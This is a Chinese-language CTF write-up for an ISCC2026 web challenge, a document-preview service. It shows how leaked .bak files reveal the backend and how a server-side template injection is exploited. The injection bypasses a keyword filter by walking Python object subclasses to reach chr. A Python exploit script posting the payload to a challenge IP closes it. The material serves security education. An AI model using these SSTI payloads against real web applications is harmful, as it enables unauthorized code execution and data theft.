Web-企业公文套红预览系统

ISCC2026 WriteUp 提交模板

Web-企业公文套红预览系统

解题思路

ctrl+u看下源码:

image.png

看到有一行注释:<!-- notes: index.php.bak, app.py.bak -->

简单试了几下发现访问路径是:

/backup/index.php.bak
/backup/app.py.bak

app.py.bak 中可以看到后端构造了一个 doc 字典:

def build_doc():
    return {
        'title': '关于进一步规范企业公文套红预览流程的通知',
        'department': '企业信息化办公室',
        'doc_no': '信办发〔2026〕12号',
        'date': '2026-02-24',
        'summary': '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。',
        'flag': '*+*+*+*'
    }
# smoke test:
# assert doc.get('title') == '关于进一步规范企业公文套红预览流程的通知'

index.php.bak :

<?php
// legacy OA portal (retired)
$notice = "预览入口已迁移到 /preview";
$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";
echo $notice . "
";
echo $compat_note . "
";
?>

接着访问:/preview
看响应包:

image.png

python后端。
另外有:

image.png

有上面提示知道后台有个doc字典,所以构造payload:

{{doc.get('title')}}

image.png

尝试直接读取flag,发现被拦截了:

image.png

经过测试发现是关键词过滤了flag:

image.png

根据这个提示:

$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";

我们就尝试从空字符串对象开始构造payload

image.png

发现一个与其他结果不一样的类。
根据返回结果读取全局变量:

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

image.png

{'__builtins__': {'chr': <built-in function chr>}}

说明有一个chr函数,我们可以利用这个把ASCII转换为flag,进行绕过。

image.png

ISCC{enterprise_red_doc_preview}

Exp

import html
import re

import requests


PREVIEW_ENDPOINT = "http://39.105.213.28:49104/preview"
CHR_GADGET = (
    "''.__class__.__base__.__subclasses__()[117]."
    "__init__.__globals__['__builtins__']['chr']"
)
FLAG_NAME_CODES = (102, 108, 97, 103)


def build_template_payload() -> str:
    flag_key_expr = "+".join(f"{CHR_GADGET}({code_point})" for code_point in FLAG_NAME_CODES)
    return f"{{{{doc.get({flag_key_expr})}}}}"


def extract_preview_block(page_text: str) -> str:
    pre_block_match = re.search(r"<pre>(.*?)</pre>", page_text, re.S)
    if not pre_block_match:
        raise ValueError("response does not contain a <pre> block")
    return html.unescape(pre_block_match.group(1)).strip()


def request_preview(template_payload: str, timeout_seconds: int = 10) -> str:
    response = requests.post(
        PREVIEW_ENDPOINT,
        data={"tpl": template_payload},
        timeout=timeout_seconds,
    )
    response.raise_for_status()
    return extract_preview_block(response.text)


def main() -> None:
    template_payload = build_template_payload()
    preview_result = request_preview(template_payload)
    print(preview_result)


if __name__ == "__main__":
    main()

posted @ 2026-05-19 16:32  MillionMind  阅读(6)  评论(0)    收藏  举报